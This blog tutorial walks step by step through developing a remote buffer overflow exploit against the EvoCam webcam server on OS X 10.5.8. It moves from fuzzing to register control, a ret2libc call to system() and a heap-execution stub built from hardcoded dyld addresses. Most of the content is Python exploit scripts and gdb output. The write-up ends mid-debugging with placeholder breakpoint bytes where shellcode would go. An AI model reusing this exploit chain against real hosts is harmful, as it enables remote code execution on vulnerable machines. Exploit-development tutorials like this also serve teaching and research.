Blog
Jun 4, 2010
Evocam Remote Buffer Overflow on OSX
A tutorial on the Evocam Remote Buffer Overflow on OSX 10.5.8
10 min read
Exploitation Walkthrough
Introduction
This guide comes from my own journey from finding a buffer overflow in an OS X application to producing a working exploit. I have reasonably good exploit development skills having completed the Penetration Testing with BackTrack and Cracking the Perimeter training courses, and working on several buffer overflow exploits. The majority of my exploit development skills are based around Windows vulnerabilities and using the OllyDBG debugger.
After discovering a buffer overflow vulnerability in EvoCam, a WebCam application on OS X, I thought it would be a good idea to try and develop an exploit for it.
Tools Used
Most of the tools used come bundled with OS X and are part of the development environment Xcode which is an optional install which can be found on the Operating System DVD.
I also used the Metasploit Framework which installs and runs easily on OS X.
Note: Set CrashReportPrefs to Server mode so you don’t keep receiving the “Unexpectedly Quit” dialog every time vulnerable application crashes.
Bug Discovery and PoC
The bug was initially discovered by using the bed fuzzer which comes as part of BackTrack 4.
root@bt:/pentest/fuzzers/bed# ./bed.pl
BED 0.5 by mjm ( www.codito.de ) and eric ( www.snake-basket.de )
Usage:
./bed.pl -s [plugin] -t [target] -p [port] -o [timeout] [ depends on the plugin ]
[plugin] = FTP/SMTP/POP/HTTP/IRC/IMAP/PJL/LPD/FINGER/SOCKS4/SOCKS5
[target] = Host to check (default: localhost)
[port] = Port to connect to (default: standard port)
[timeout] = seconds to wait after each test (default: 2 seconds)
use "./bed.pl -s [plugin]" to obtain the parameters you need for the plugin.
Only -s is a mandatory switch.
So for we set our Web Server IP and the non standard HTTP port, and we run bed:
root@bt:/pentest/fuzzers/bed# ./bed.pl -s HTTP -t 192.168.1.29 -p 8080
BED 0.5 by mjm ( www.codito.de ) and eric ( www.snake-basket.de )
+ Buffer overflow testing:
testing: 1 HEAD XAXAX HTTP/1.0 ...........
testing: 2 HEAD / XAXAX ...........
testing: 3 GET XAXAX HTTP/1.0 ........connection attempt failed: Connection refused
I used WireShark to capture the data sent between bed and EvoCam and used the payload which caused the crash to develop a simple skeleton PoC python script. Our initial PoC code to reproduce the overflow:
#!/usr/bin/python
import socket
BUFFER = "A"*1800
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.1.29',8080))
print ("Sending Payloadrn")
s.send("GET " +BUFFER + " HTTP/1.0rnrn")
s.close()
We start the EvoCam process by double clicking on its icon and then attach using to the process using gdb within a terminal session:
We send our PoC and receive a crash which we catch in gdb. We don’t currently have control of EIP but it looks like we have overwritten ECX which has caused execution to stop because it is trying to read the contents of the memory that ECX points to, which is currently set to 0x41414141 (AAAA) from our buffer.
$ gdb -p `ps auxww | grep [Evo]Cam | awk {'print $2'}`
(gdb) c
Continuing.
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x41414141
[Switching to process 989 thread 0x6137]
0x0004b675 in ExtractRequestedFileName ()
(gdb) info registers
eax 0x0 0
ecx 0x41414141 1094795585
edx 0x89940c 9016332
ebx 0x4b573 308595
esp 0xb01be480 0xb01be480
ebp 0xb01bedf8 0xb01bedf8
esi 0x899400 9016320
edi 0x0 0
eip 0x4b675 0x4b675
eflags 0x10246 66118
cs 0x17 23
ss 0x1f 31
ds 0x1f 31
es 0x1f 31
fs 0x1f 31
gs 0x37 55
(gdb) set disassembly-flavor intel
(gdb) x /i $eip
0x4b675 : mov eax,DWORD PTR [ecx]
Exploit Development
Our next step is to replace our buffer of A’s with a pattern buffer created using Metasploit’s pattern_create.rb tool to help us pinpoint the exact part of our buffer which is overwriting the ECX register. The updated script is:
#!/usr/bin/python
import socket
BUFFER = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce'
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.1.29',8080))
print ("Sending Payloadrn")
s.send("GET " +BUFFER + " HTTP/1.0rnrn")
s.close()
Okay so we restart the EvoCam process, attach using gdb and send our updated buffer.
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x42307342
[Switching to process 1025 thread 0x6713]
(gdb) x /i $eip
0x4b675 : mov (%ecx),%eax 0x42307342]
We can now see that ECX has been overwritten with the bytes 0x42307342, we can use Metasploit’s pattern_offset.rb tool to find out which bytes in our buffer these are:
$ ./pattern_offset.rb 0x42307342
1320
So we can see the 4 bytes of our buffer starting at 1320 overwrite ECX, and we need to replace these with the address of some readable memory. I’ll use a R/W address as this will come in useful later. We can pull this address from the .data segment of dyld process using otool -l /usr/lib/dyld
#!/usr/bin/python
import socket
import struct
PATTERN = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce'
WRITEABLE = 0x8fe66448
BUFFER = PATTERN[0:1320] + struct.pack(']I',WRITEABLE) + PATTERN[1324:1700]
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.1.29',8080))
print ("Sending Payloadrn")
s.send("GET " +BUFFER + " HTTP/1.0rnrn")
s.close()
So we have updated our exploit with a readable memory address at offset 1320, we restart EvoCam and attach gdb. Sending our updated exploit gives us a different crash:
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x39724238
[Switching to process 1045 thread 0x651b]
0x967de80e in strstr ()
(gdb) set disassembly-flavor intel
(gdb) x /i $eip
0x967de80e : movzx eax,BYTE PTR [esi]
(gdb) info registers
eax 0x5 5
ecx 0x54363 344931
edx 0x54360 344928
ebx 0x4b573 308595
esp 0xb01be450 0xb01be450
ebp 0xb01be478 0xb01be478
esi 0x39724238 963789368
edi 0x52 82
eip 0x967de80e 0x967de80e
eflags 0x10206 66054
cs 0x17 23
ss 0x1f 31
ds 0x1f 31
es 0x1f 31
fs 0x1f 31
gs 0x37 55
This time is looks to be the overwritten ESI register that is causing us issues.
$ ./pattern_offset.rb 0x39724238
1316
So we need to replace part of our buffer starting at offset 1316 with another readable address. And try again..
Controlling Execution
#!/usr/bin/python
import socket
import struct
PATTERN = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce'
WRITEABLE = 0x8fe66448
BUFFER = PATTERN[0:1316] + struct.pack(']II',WRITEABLE,WRITEABLE) + PATTERN[1324:1700]
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.1.29',8080))
print ("Sending Payloadrn")
s.send("GET " +BUFFER + " HTTP/1.0rnrn")
s.close()
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x72423772
[Switching to process 1094 thread 0x6437]
0x72423772 in ?? ()
(gdb) info registers
eax 0x0 0
ecx 0xa05dc1a0 -1604468320
edx 0x7d000 512000
ebx 0x42327242 1110602306
esp 0xb01bee00 0xb01bee00
ebp 0x42367242 0x42367242
esi 0x72423372 1916941170
edi 0x35724234 896680500
eip 0x72423772 0x72423772
eflags 0x10282 66178
cs 0x17 23
ss 0x1f 31
ds 0x1f 31
es 0x1f 31
fs 0x1f 31
gs 0x37 55
This time the crash is because we have overwritten the EIP register, this is good news as hopefully we aren’t too far away from getting code execution!
On a Windows exploit with a vanilla EIP overwrite(with out the complications of DEP present it later versions) we normally just overwrite EIP with a JMP assembly command to land us into our shellcode on the stack and it’s game over. However OS X does have the area of memory designated for the stack marked as Non-Execute (NX) which means we can’t run our exploit code directly from the stack.
Return to libC Style
So let’s try a simple ret2libc style exploit and replace our overwritten with the memory address of the system() function.
We can find the address of the system() call from it’s parent library libSystem. First we look at /var/db/dyld/dyld_shared_cache_i386.map so see where the library is loaded:
/usr/lib/libSystem.B.dylib
__TEXT 0x967B3000 -] 0x9691B000
__DATA 0xA0842000 -] 0xA0881000
__IMPORT 0xA0A96000 -] 0xA0A98000
__LINKEDIT 0x97403000 -] 0x97804000
nm /usr/lib/libSystem.B.dylib | grep "T _system"
0008d6d4 T _system
So we take the base address of the library 0x967B3000 and add the offset to the system function 0x0008d6d4 which gives us 0x968406d4
We can also get this value from gdb:
(gdb) p *system
$1 = {} 0x968406d4
So we can take this memory address of system() and update our exploit placing it at the correct offset in our buffer:
$ ./pattern_offset.rb 0x72423772
1312
#!/usr/bin/python
import socket
import struct
PATTERN = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce'
SYSTEM = 0x968406d4
WRITEABLE = 0x8fe66448
BUFFER = PATTERN[0:1312] + struct.pack(']III',SYSTEM,WRITEABLE,WRITEABLE) + PATTERN[1324:1700]
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.1.29',8080))
print ("Sending Payloadrn")
s.send("GET " +BUFFER + " HTTP/1.0rnrn")
s.close()
We restart EvoCam and attach gdb setting a breakpoint on the system() function:
(gdb) b *system
Breakpoint 1 at 0x968406d4
(gdb) c
Continuing.
[Switching to process 1179 thread 0x673b]
Breakpoint 1, 0x968406d4 in system ()
(gdb) p $eip
$1 = (void (*)()) 0x968406d4
Excellent, so we now have control over the execution of our vulnerable program!
There are however two problems with this method.
Firstly if we wanted to to use system() to execute a command of our choosing then we would need to pass the command to be executed as an argument to the system() call by placing a reference to its address in memory via a register. However this would require us to know where our argument is located on the stack. Maybe with a bit of luck and generous use of Nops we may be able to get around this.
Our Second problem is that Apple introduced Library Randomisation in the Leopard (10.5) version of their Operating System. Randomisation doesn’t happen very often so the address of a library will often be the same even across reboots, but addresses will be different across systems which would not be very effective for our remotely exploitable buffer overflow.
Exec Payload from Heap Technique
One method of getting around this issue is to use Dino Dai Zovi (Co-author of The Mac Hacker’s Handbook) exec-payload-from-heap technique. This works by using calls to functions located in /usr/lib/dyld the dynamic linker which is always loaded at a known address in memory. The result of this technique is that our exploit shellcode gets copied from the Stack to Heap memory from where it can be executed.
I won’t cover the exact working of this technique here, full details can be found in The Mac Hacker’s Handbook which is an excellent read for those interested in OS X exploitation.
I grabbed a copy of the exec-payload-from-heap stub from the OS X rtsp exploit in MetaSploit:
def make_exec_payload_from_heap_stub()
frag0 =
"x90" + # nop
"x58" + # pop eax
"x61" + # popa
"xc3" # ret
frag1 =
"x90" + # nop
"x58" + # pop eax
"x89xe0" + # mov eax, esp
"x83xc0x0c" + # add eax, byte +0xc
"x89x44x24x08" + # mov [esp+0x8], eax
"xc3" # ret
setjmp = target['setjmp']
writable = target['Writable']
strdup = target['strdup']
exec_payload_from_heap_stub =
frag0 +
[setjmp].pack('V') +
[writable + 32, writable].pack("V2") +
frag1 +
"X" * 20 +
[setjmp].pack('V') +
[writable + 24, writable, strdup, jmp_eax].pack("V4") +
"X" * 4
end
The stub relies on several hard coded memory references from the dyld libary.
The location of setjmp and strdup can be found in /usr/lib/dyld:
$ nm /usr/lib/dyld | grep "setjmp"
8fe1cf38 t _setjmp
$ nm /usr/lib/dyld | grep "strdup"
8fe210dc t _strdup
We also need a JMP EAX instruction to jump to our payload once we have copied it to the heap and placed it’s memory location in EAX. We can do this with msfmachscan:
$ msfmachscan -j EAX /usr/lib/dyld | head -10
File is not a Mach-O binary, trying Fat..
Detected 4 archs in binary.
[/usr/lib/dyld]
0x8fd7dbce jmp eax
0x8fd7dc82 jmp eax
0x8fd7e3be call eax
0x8fd7e426 call eax
0x8fd7e54e call eax
0x8fd7e6e6 jmp eax
0x8fd7f91a jmp eax
0x8fd7fbae call eax
So plugging all of these address into our exploit code we now have:
#!/usr/bin/python
import socket
import struct
# Settings for Leopard 10.5.8
WRITEABLE = 0x8fe66448
SETJMP = 0x8fe1cf38 #$ nm /usr/lib/dyld | grep "setjmp" #8fe1cf38 t _setjmp
STRDUP = 0x8fe210dc #$ nm /usr/lib/dyld | grep "strdup" #8fe210dc t _strdup
JMPEAX = 0x8fe01041 #0x8fe01041 [__dyld__dyld_start+49]: jmp *%eax
buf="xccxccxccxcc"
FRAG0 = "x90" + "x58" + "x61" + "xc3"
FRAG1 = "x90" + "x58" + "x89xe0" + "x83xc0x0c" + "x89x44x24x08" + "xc3"
STUB =
FRAG0 +
struct.pack(']III',SETJMP,WRITEABLE+32,WRITEABLE) +
FRAG1 +
'A'*20 +
struct.pack(']IIIII',SETJMP,WRITEABLE+24,WRITEABLE,STRDUP,JMPEAX) +
'A'*4
BUFFER = "A"*1308 + STUB + buf
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.1.29',8080))
print '[+] Sending evil buffer...'
s.send("GET " +BUFFER + " HTTP/1.0rnrn")
s.close()
We have included some breakpoints in buf to act as our shellcode that we wish to run from the heap.
Restarting EvoCam, attaching gdb and sending our exploit gives us the following crash:
(gdb) c
Continuing.
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0x00000000
[Switching to process 1311 thread 0x613f]
0x00000000 in ?? ()
(gdb) info registers
eax 0x0 0
ecx 0xa087c708 -1601714424
edx 0x967e6587 -1770101369
ebx 0x0 0
esp 0xb01bee2c 0xb01bee2c
ebp 0x0 0x0
esi 0xc083 49283
edi 0xe0895890 -527869808
eip 0x0 0
eflags 0x10246 66118
cs 0x17 23
ss 0x1f 31
ds 0x1f 31
es 0x1f 31
fs 0x1f 31
gs 0x37 55
So we didn’t hit our exploit buffer as we hoped, it looks like something has gone wrong and zeroed out EIP. Lets run things again but place some break points and see what is happening.
After manually stepping through the setjmp() function I discovered it is best to set our breakpoint at the end of the function before it’s final return call.
